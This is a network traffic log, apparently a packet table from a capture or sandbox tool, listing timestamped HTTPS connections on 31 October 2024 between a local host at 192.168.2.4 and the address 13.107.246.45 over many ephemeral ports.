Oct 31, 2024 11:28:15.378210068 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378264904 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378274918 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378283978 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378330946 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378357887 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378372908 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378396988 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378396988 CET	49845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.378405094 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.378412008 CET	443	49845	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.379976034 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.379996061 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.380047083 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.380063057 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.380096912 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.380224943 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.380233049 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.380249023 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.380253077 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.381164074 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.381176949 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.381254911 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.381381035 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.381391048 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.382160902 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.382196903 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.382262945 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.382359028 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.382371902 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.421453953 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.421540976 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.421595097 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.421914101 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.421914101 CET	49847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.421941042 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.421953917 CET	443	49847	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.424885988 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.424921989 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:15.425002098 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.425112963 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:15.425129890 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.091737986 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.093950033 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.093964100 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.094630957 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.094635963 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.100358963 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.100907087 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.100919962 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.101118088 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.101628065 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.101633072 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.102159977 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.102174997 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.102754116 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.102758884 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.162808895 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.163367987 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.163400888 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.163837910 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.163851023 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.220426083 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.220489979 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.220551014 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.220752001 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.220769882 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.220782995 CET	49849	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.220787048 CET	443	49849	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.224383116 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.224416018 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.224513054 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.224701881 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.224714994 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.226435900 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.226486921 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.226531982 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.226630926 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.226640940 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.226645947 CET	49851	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.226650000 CET	443	49851	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.228312969 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.228442907 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.228499889 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.228550911 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.228570938 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.228581905 CET	49850	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.228590965 CET	443	49850	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.228979111 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.229007006 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.229093075 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.229226112 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.229239941 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.230396986 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.230407953 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.230492115 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.230609894 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.230619907 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.294687033 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.295490980 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.295561075 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.295609951 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.295627117 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.295638084 CET	49853	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.295643091 CET	443	49853	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.298063993 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.298091888 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.298170090 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.298315048 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.298336029 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.946734905 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.947485924 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.947503090 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.947963953 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.947969913 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.956168890 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.956665039 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.956696987 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.957118034 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.957125902 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.972021103 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.972431898 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.972443104 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:16.972826958 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:16.972831011 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.032918930 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.033550978 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.033588886 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.034039021 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.034044981 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.089133978 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.089454889 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.089519978 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.089611053 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.089629889 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.089641094 CET	49854	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.089647055 CET	443	49854	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.091321945 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.091386080 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.091440916 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.091579914 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.091593981 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.091603994 CET	49855	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.091612101 CET	443	49855	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.092617035 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.092644930 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.092713118 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.092861891 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.092871904 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.094002962 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.094027042 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.094089985 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.094250917 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.094265938 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.100755930 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.100794077 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.100845098 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.101015091 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.101296902 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.101314068 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.101325989 CET	49856	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.101334095 CET	443	49856	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.104392052 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.104434013 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.104531050 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.104692936 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.104701996 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.141201019 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.141706944 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.141745090 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.142270088 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.142277002 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.163405895 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.163484097 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.163536072 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.163695097 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.163722038 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.163733959 CET	49857	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.163739920 CET	443	49857	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.166290045 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.166343927 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.166413069 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.166542053 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.166559935 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.268588066 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.268662930 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.268716097 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.268934965 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.268959045 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.268969059 CET	49852	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.268975019 CET	443	49852	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.271703959 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.271744967 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.271840096 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.271964073 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.271990061 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.822596073 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.823043108 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.823060989 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.823524952 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.823530912 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.824721098 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.825114012 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.825128078 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.825550079 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.825555086 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.836186886 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.836760044 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.836827993 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.837169886 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.837187052 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.907258034 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.907681942 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.907704115 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.908123970 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.908128977 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.951751947 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.951951981 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.952017069 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.952369928 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.952387094 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.952398062 CET	49859	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.952404022 CET	443	49859	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.953531981 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.953600883 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.953656912 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.953784943 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.953799963 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.953810930 CET	49860	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.953815937 CET	443	49860	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.955343008 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.955365896 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.955463886 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.955596924 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.955609083 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.955833912 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.955858946 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.955920935 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.956007004 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.956021070 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.973309994 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.973340034 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.973378897 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.973423958 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.973462105 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.973598003 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.973613024 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.973625898 CET	49858	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.973630905 CET	443	49858	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.975933075 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.975961924 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.976039886 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.976366043 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.976382017 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.992469072 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.992995024 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.993021965 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:17.993452072 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:17.993458986 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.039397955 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.039479017 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.039563894 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.039772987 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.039798975 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.039813042 CET	49861	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.039819002 CET	443	49861	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.042412043 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.042470932 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.042545080 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.042685032 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.042701960 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.120206118 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.120254993 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.120302916 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.120309114 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.120361090 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.120590925 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.120610952 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.120623112 CET	49862	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.120628119 CET	443	49862	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.126061916 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.126102924 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.126198053 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.126607895 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.126621962 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.692003965 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.693054914 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.694874048 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.694905043 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.695338964 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.695349932 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.701452971 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.701479912 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.701890945 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.701895952 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.710021973 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.722070932 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.722090960 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.722505093 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.722510099 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.774600029 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.778242111 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.778266907 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.778697014 CET	49866	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.778711081 CET	443	49866	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.821237087 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.821299076 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.821387053 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.831578016 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.831640005 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.831693888 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.840009928 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.840049028 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.840070009 CET	49863	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.840080976 CET	443	49863	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.847002029 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.847630024 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.847661972 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.847692013 CET	49864	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.847700119 CET	443	49864	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.848692894 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.848867893 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.848925114 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.855345011 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.855381012 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.855779886 CET	49867	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.855791092 CET	443	49867	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.856846094 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.856872082 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.856884003 CET	49865	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.856889963 CET	443	49865	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.859009027 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.859051943 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.859132051 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.859359026 CET	49868	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.859375000 CET	443	49868	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.860662937 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.860737085 CET	443	49869	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:18.860797882 CET	49869	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:18.861035109 CET	49869	443	192.168.2.4	13.107.246.45
